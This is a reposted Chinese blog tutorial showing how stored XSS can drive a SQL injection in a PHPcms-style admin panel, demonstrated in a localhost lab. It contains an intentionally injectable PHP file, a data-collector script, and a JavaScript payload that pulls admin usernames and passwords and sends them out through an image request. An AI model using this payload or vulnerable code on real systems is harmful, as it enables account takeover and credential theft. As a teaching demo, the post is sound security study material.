• 欢迎访问搞代码网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站!
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏搞代码吧

PHPcms利用xss执行sql注入_php

php 搞代码 7年前 (2018-06-21) 202次浏览 已收录 0个评论

昨天看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!

于是乎我只有假想下一个极端环境:
1.前台有且只有一个xss漏洞(不能获取管理员cookie)
2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)
3.注入获得管理员密码可解密
4.除以上无其他任何漏洞(包括后台getwebshell)

其实我就是想说,我们只可以利用这个xss执行注入!

模拟注入漏洞代码

http://www.gaodaima.com/50244.htmlPHPcms利用xss执行sql注入_php

 
  1. sqli.php
    01     <?php
    02      @error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//错误忽略
    03      $con = mysql_connect("localhost","root","");
    04      if(!$con) {die('Could not connect: ' . mysql_error());}
    05      mysql_select_db("test",$con);
    06      $id = $_GET['xss'];
    07      $sql = "select id,realname from test where id="."$id";
    08      $view = mysql_query($sql);
    09      $row = mysql_fetch_array($view);
    10      echo $row[id]."<br />";
    11      echo $row[realname]."<br />";
    12     ?>
 
  1. mysql数据库
    1     database:test
    2     table:test、admin
    3     column:test.id、test.realname
    4                  admin.id、admin.username、admin.password
 
  1. get.php(获取的注入后数据截取)
    1     <?php
    2      $file = fopen("data.txt","a");
    3      fwrite($file,$_GET['get']);
    4      fclose($file);
    5     ?>
 
  1. xsssqli.js(payload)
    01     function addLoadEvent(func)//窗口打开加载多个函数
    02     {
    03      var oldfunc=window.onload; //页面打开是加载方法
    04         if(typeof(window.onload)!="function")
    05         {
    06          window.onload=func;
    07         }
    08         else
    09         {
    10          window.onload=function()
    11          {
    12           oldfunc();
    13           func();
    14           }
    15          }
    16     }
    17     function get_xsssqli()
    18     {
    19      var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin&quot;;
    20      var ajax = null;
    21      if(window.xmlHttpRequest)
    22      {
    23       ajax = new XMLHttpRequest();
    24      }
    25      else if(window.ActiveXObject)
    26      {
    27       ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
    28      }
    29      else
    30      {
    31       return;
    32      }
    33      ajax.open("GET", url, true);
    34      ajax.send(null);
    35      ajax.onreadystatechange = function()
    36      {
    37       if(ajax.readyState == 4 && ajax.status == 200)
    38       {
    39        var img = document.createElement("img");
    40        img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
    41        document.body.appendChild(img);
    42       }
    43      }
    44     }
    45     addLoadEvent(get_xsssqli);
 
  1. 模拟xss漏洞
    1     <html>
    2      <head>
    3       <title>use xss to sqli</title>
    4      </head>
    5      <body>
    6      <script src=http://127.0.0.1/xss/get.js ></script>
    7      </body>
    8     </html>

最后成功得到数据:
PHPcms利用xss执行sql注入_php

当然你也可以写个正则截获指定数据!

 
来自:http://superman.php100.com/

欢迎大家阅读《PHPcms利用xss执行sql注入_php》,跪求各位点评,若觉得好的话请收藏本文,by 搞代码


搞代码网(gaodaima.com)提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发送到邮箱[email protected],我们会在看到邮件的第一时间内为您处理,或直接联系QQ:872152909。本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:PHPcms利用xss执行sql注入_php
喜欢 (0)
[搞代码]
分享 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址